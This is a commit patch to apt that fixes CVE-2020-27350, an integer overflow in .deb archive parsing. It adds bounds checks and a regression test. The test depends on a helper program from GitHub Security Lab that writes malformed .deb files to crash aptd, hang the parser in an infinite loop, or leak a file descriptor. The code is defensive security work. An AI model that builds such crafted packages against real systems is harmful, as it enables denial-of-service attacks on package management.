CVE-2020-27350: arfile: Integer overflow in parsing

GHSL-2020-169: This first hunk adds a check that we have more files
left to read in the file than the size of the member, ensuring that
(a) the number is not negative, which caused the crash here and (b)
ensures that we similarly avoid other issues with trying to read too
much data.

GHSL-2020-168: Long file names are encoded by a special marker in
the filename and then the real filename is part of what is normally
the data. We did not check that the length of the file name is within
the length of the member, which means that we got a overflow later
when subtracting the length from the member size to get the remaining
member size.

The file createdeb-lp1899193.cc was provided by GitHub Security Lab
and reformatted using apt coding style for inclusion in the test
case, both of these issues have an automated test case in
test/integration/test-ubuntu-bug-1899193-security-issues.

LP: #1899193

4 files changed, 263 insertions, 1 deletions

diff --git a/apt-inst/contrib/arfile.cc b/apt-inst/contrib/arfile.cc
index 5cb43c690..6d4a1f158 100644
--- a/apt-inst/contrib/arfile.cc
+++ b/apt-inst/contrib/arfile.cc
@@ -94,7 +94,12 @@ bool ARArchive::LoadHeaders()
 	 delete Memb;
 	 return _error->Error(_("Invalid archive member header"));
       }
-	 
+
+      if (Left < 0 || Memb->Size > static_cast<unsigned long long>(Left))
+      {
+	 delete Memb;
+	 return _error->Error(_("Invalid archive member header"));
+      }
       // Check for an extra long name string
       if (memcmp(Head.Name,"#1/",3) == 0)
       {
@@ -106,6 +111,13 @@ bool ARArchive::LoadHeaders()
 	    delete Memb;
 	    return _error->Error(_("Invalid archive member header"));
 	 }
+
+	 if (Len > Memb->Size)
+	 {
+	    delete Memb;
+	    return _error->Error(_("Invalid archive member header"));
+	 }
+
 	 if (File.Read(S,Len) == false)
 	 {
 	    delete Memb;
diff --git a/test/integration/test-cve-2020-27350 b/test/integration/test-cve-2020-27350
new file mode 100755
index 000000000..6ee867bb3
--- /dev/null
+++ b/test/integration/test-cve-2020-27350
@@ -0,0 +1,13 @@
+#!/bin/sh
+set -e
+
+TESTDIR="$(readlink -f "$(dirname "$0")")"
+. "$TESTDIR/framework"
+setupenvironment
+configarchitecture "amd64"
+
+${APTTESTHELPERSBINDIR}/createdeb-cve-2020-27350 crash crash.deb
+testequal "E: Invalid archive member header" runapt ${APTTESTHELPERSBINDIR}/testdeb ./crash.deb
+
+${APTTESTHELPERSBINDIR}/createdeb-cve-2020-27350 loop loop.deb
+testequal "E: Invalid archive member header" runapt ${APTTESTHELPERSBINDIR}/testdeb ./loop.deb
diff --git a/test/interactive-helper/CMakeLists.txt b/test/interactive-helper/CMakeLists.txt
index 5a32ca17e..0de7d9c5f 100644
--- a/test/interactive-helper/CMakeLists.txt
+++ b/test/interactive-helper/CMakeLists.txt
@@ -10,6 +10,8 @@ add_executable(aptdropprivs aptdropprivs.cc)
 target_link_libraries(aptdropprivs apt-pkg)
 add_executable(test_fileutl test_fileutl.cc)
 target_link_libraries(test_fileutl apt-pkg)
+add_executable(createdeb-cve-2020-27350 createdeb-cve-2020-27350.cc)
+
 
 add_library(noprofile SHARED libnoprofile.c)
 target_link_libraries(noprofile ${CMAKE_DL_LIBS})
diff --git a/test/interactive-helper/createdeb-cve-2020-27350.cc b/test/interactive-helper/createdeb-cve-2020-27350.cc
new file mode 100644
index 000000000..9103c2137
--- /dev/null
+++ b/test/interactive-helper/createdeb-cve-2020-27350.cc
@@ -0,0 +1,235 @@
+#include <errno.h>
+#include <fcntl.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+struct Header
+{
+   char Name[16];
+   char MTime[12];
+   char UID[6];
+   char GID[6];
+   char Mode[8];
+   char Size[10];
+   char Magic[2];
+};
+
+struct TarHeader
+{
+   char Name[100];
+   char Mode[8];
+   char UserID[8];
+   char GroupID[8];
+   char Size[12];
+   char MTime[12];
+   char Checksum[8];
+   char LinkFlag;
+   char LinkName[100];
+   char MagicNumber[8];
+   char UserName[32];
+   char GroupName[32];
+   char Major[8];
+   char Minor[8];
+};
+
+// Call `write` and check the result.
+static void write_chk(int fd, const void *buf, size_t count)
+{
+   const ssize_t wr = write(fd, buf, count);
+   if (wr < 0)
+   {
+      const int err = errno;
+      fprintf(stderr, "Write failed: %s\n", strerror(err));
+      exit(EXIT_FAILURE);
+   }
+   if ((size_t)wr != count)
+   {
+      fprintf(stderr, "Incomplete write.\n");
+      exit(EXIT_FAILURE);
+   }
+}
+
+// Triggers a negative integer overflow at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/arfile.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n116:
+//
+//    Memb->Size -= Len;
+//
+// Due to the integer overflow, the value of Memb->Size is 0xFFFFFFFFFFFFFFFF.
+// This leads to an out-of-memory error at https://git.launchpad.net/ubuntu/+source/python-apt/tree/python/arfile.cc?h=applied/ubuntu/focal-updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n602:
+//
+//    char* value = new char[member->Size];
+//
+// The out-of-memory error causes aptd to crash.
+static void createdeb_crash(const int fd)
+{
+   // Magic number
+   static const char *magic = "!<arch>\n";
+   write_chk(fd, magic, strlen(magic));
+
+   struct Header h;
+   memset(&h, 0, sizeof(h));
+
+   memcpy(h.Name, "control.tar     ", sizeof(h.Name));
+   write_chk(fd, &h, sizeof(h));
+
+   memset(&h, 0, sizeof(h));
+   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
+   write_chk(fd, &h, sizeof(h));
+
+   memset(&h, 0, sizeof(h));
+   memcpy(h.Name, "#1/13           ", sizeof(h.Name));
+   strcpy(h.Size, "12");
+   write_chk(fd, &h, sizeof(h));
+   write_chk(fd, "debian-binary", 13);
+}
+
+// Triggers an infinite loop in `ARArchive::LoadHeaders()`.
+// The bug is due to the use of `strtoul` at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/strutl.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n1169:
+//
+//    Res = strtoul(S,&End,Base);
+//
+// The problem is that `strtoul` accepts negative numbers. We exploit that here by setting the size string to "-60".
+static void createdeb_loop(const int fd)
+{
+   // Magic number
+   static const char *magic = "!<arch>\n";
+   write_chk(fd, magic, strlen(magic));
+
+   struct Header h;
+   memset(&h, 0, sizeof(h));
+
+   memcpy(h.Name, "#1/20           ", sizeof(h.Name));
+   strcpy(h.Size, "-60");
+   write_chk(fd, &h, sizeof(h));
+
+   char buf[20];
+   memset(buf, 0, sizeof(buf));
+   write_chk(fd, buf, sizeof(buf));
+}
+
+// Leaks a file descriptor in `debfile_new()`:
+//
+// https://git.launchpad.net/python-apt/tree/python/arfile.cc?h=2.0.0#n588
+//
+// If the .deb file is invalid then the function returns without deleting
+// `self`, which means that the file descriptor isn't closed.
+static void createdeb_leakfd(const int fd)
+{
+   // Magic number
+   static const char *magic = "!<arch>\n";
+   write_chk(fd, magic, strlen(magic));
+
+   struct Header h;
+   memset(&h, 0, sizeof(h));
+
+   memset(&h, 0, sizeof(h));
+   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
+   write_chk(fd, &h, sizeof(h));
+}
+
+static void set_checksum(unsigned char block[512])
+{
+   struct TarHeader *tar = (struct TarHeader *)&block[0];
+   memset(tar->Checksum, ' ', sizeof(tar->Checksum));
+   uint32_t sum = 0;
+   for (int i = 0; i < 512; i++)
+   {
+      sum += block[i];
+   }
+   snprintf(tar->Checksum, sizeof(tar->Checksum), "%o", sum);
+}
+
+// This does not trigger a vulnerability. It is just a basis for exploration.
+static void createdeb_test(const int fd)
+{
+   // Magic number
+   static const char *magic = "!<arch>\n";
+   write_chk(fd, magic, strlen(magic));
+
+   struct Header h;
+
+   memset(&h, 0, sizeof(h));
+   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
+   write_chk(fd, &h, sizeof(h));
+
+   memset(&h, 0, sizeof(h));
+   memcpy(h.Name, "debian-binary   ", sizeof(h.Name));
+   strcpy(h.Size, "4");
+   write_chk(fd, &h, sizeof(h));
+   static const char *debian_binary = "2.0\n";
+   write_chk(fd, debian_binary, strlen(debian_binary));
+
+   static const char *control =
+      "Architecture: all\n"
+      "Package: kevsh\n\n";
+   memset(&h, 0, sizeof(h));
+   memcpy(h.Name, "control.tar     ", sizeof(h.Name));
+   snprintf(h.Size, sizeof(h.Size), "%ld", (size_t)512 + 512);
+   write_chk(fd, &h, sizeof(h));
+
+   unsigned char block[512];
+   memset(block, 0, sizeof(block));
+   struct TarHeader *tar = (struct TarHeader *)&block[0];
+   strcpy(tar->Name, "control");
+   strcpy(tar->Mode, "644");
+   snprintf(tar->Size, sizeof(tar->Size), "%lo", strlen(control));
+   set_checksum(block);
+   write_chk(fd, block, sizeof(block));
+
+   memset(block, 0, sizeof(block));
+   strcpy((char *)block, control);
+   write_chk(fd, block, sizeof(block));
+}
+
+int main(int argc, char *argv[])
+{
+   if (argc != 3)
+   {
+      const char *progname = argc > 0 ? argv[0] : "a.out";
+      fprintf(
+	 stderr,
+	 "usage: %s <mode> <filename>\n"
+	 "modes: loop, segv, leakfd\n",
+	 progname);
+      return EXIT_FAILURE;
+   }
+
+   const char *mode = argv[1];
+   const char *filename = argv[2];
+
+   const int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 00644);
+   if (fd < 0)
+   {
+      const int err = errno;
+      fprintf(stderr, "Could not open %s: %s\n", filename, strerror(err));
+      return EXIT_FAILURE;
+   }
+
+   if (strcmp(mode, "crash") == 0)
+   {
+      createdeb_crash(fd);
+   }
+   else if (strcmp(mode, "loop") == 0)
+   {
+      createdeb_loop(fd);
+   }
+   else if (strcmp(mode, "leakfd") == 0)
+   {
+      createdeb_leakfd(fd);
+   }
+   else if (strcmp(mode, "test") == 0)
+   {
+      createdeb_test(fd);
+   }
+   else
+   {
+      fprintf(stderr, "Mode not recognized: %s\n", mode);
+   }
+
+   close(fd);
+   return EXIT_SUCCESS;
+}